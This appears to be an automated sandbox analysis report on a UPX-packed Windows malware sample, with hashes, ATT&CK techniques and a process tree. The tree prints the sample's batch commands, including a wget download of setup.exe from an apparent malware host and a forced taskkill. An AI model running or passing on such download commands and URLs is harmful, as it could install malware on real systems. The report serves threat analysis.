e366353e819ba1281e7c3c6ebc8f03e5e3fd443007dda00f5c881854c7e682d8

Analysis

max time kernel
141s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
09/04/2024, 10:25

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General

Target

e9c7964fa9cf03ebac5dc49a4ef04a51_JaffaCakes118.exe
Size

427KB
MD5

e9c7964fa9cf03ebac5dc49a4ef04a51
SHA1

46ecc4897a5ea9f90a51beca89407189e92dd489
SHA256

e366353e819ba1281e7c3c6ebc8f03e5e3fd443007dda00f5c881854c7e682d8
SHA512

2f4e1c8f208a46d9fec3957595fcb028c95163c0731edabe5fc82ae2b73c2376dbe22f9d6bd34eff90a6d157ae39493bcd672ce52bc57e7b8ff53df93d281e74
SSDEEP

12288:ig/xkJLiynXvqjggpl57rrpmNQp2YIGRY:eLrwlOuX

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	e9c7964fa9cf03ebac5dc49a4ef04a51_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
5964	wget.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0008000000023266-7.dat	upx
behavioral2/memory/5964-8-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/5964-10-0x0000000000400000-0x00000000004EF000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
3592	taskkill.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5516	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3592	taskkill.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4280 wrote to memory of 1964	4280	e9c7964fa9cf03ebac5dc49a4ef04a51_JaffaCakes118.exe	95
PID 4280 wrote to memory of 1964	4280	e9c7964fa9cf03ebac5dc49a4ef04a51_JaffaCakes118.exe	95
PID 4280 wrote to memory of 1964	4280	e9c7964fa9cf03ebac5dc49a4ef04a51_JaffaCakes118.exe	95
PID 1964 wrote to memory of 5516	1964	cmd.exe	98
PID 1964 wrote to memory of 5516	1964	cmd.exe	98
PID 1964 wrote to memory of 5516	1964	cmd.exe	98
PID 1964 wrote to memory of 5964	1964	cmd.exe	101
PID 1964 wrote to memory of 5964	1964	cmd.exe	101
PID 1964 wrote to memory of 5964	1964	cmd.exe	101
PID 1964 wrote to memory of 3592	1964	cmd.exe	103
PID 1964 wrote to memory of 3592	1964	cmd.exe	103
PID 1964 wrote to memory of 3592	1964	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\e9c7964fa9cf03ebac5dc49a4ef04a51_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e9c7964fa9cf03ebac5dc49a4ef04a51_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4280
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3D3.tmp\winupd.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\SysWOW64\PING.EXE
    ping ya.ru -n 5
    3⤵
    - Runs ping.exe
    PID:5516
- - C:\Users\Admin\AppData\Local\Temp\3D3.tmp\wget.exe
    wget.exe http://tralov-trall.narod2.ru/setup.exe
    3⤵
    - Executes dropped EXE
    PID:5964
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im winupd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3592

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3908 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
1⤵
PID:1280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\3D3.tmp\wget.exe

Filesize
392KB

MD5
bd126a7b59d5d1f97ba89a3e71425731

SHA1
457b1cd985ed07baffd8c66ff40e9c1b6da93753

SHA256
a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599

SHA512
3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\3D3.tmp\winupd.bat

Filesize
266B

MD5
b23fa6a298dd91c3225aef8bf12d8fb1

SHA1
6f1b834bb28ac1b377b2b18691c8a05e478973b0

SHA256
9df7e6d53af1c3ec9b436e314d91e601bd027558e059cfff09c5a7ec9efa67ec

SHA512
a4cecebe8d910e96661626b616e11ef3a7e9aee81439ad1a4442cc123e90937dd3f0099da54fd6864ac76090e8b3c6f565ab051c7b8f7debe13ea2737f72aa59

Download Submit
memory/5964-8-0x0000000000400000-0x00000000004EF000-memory.dmp

Filesize
956KB

Download
memory/5964-10-0x0000000000400000-0x00000000004EF000-memory.dmp

Filesize
956KB

Download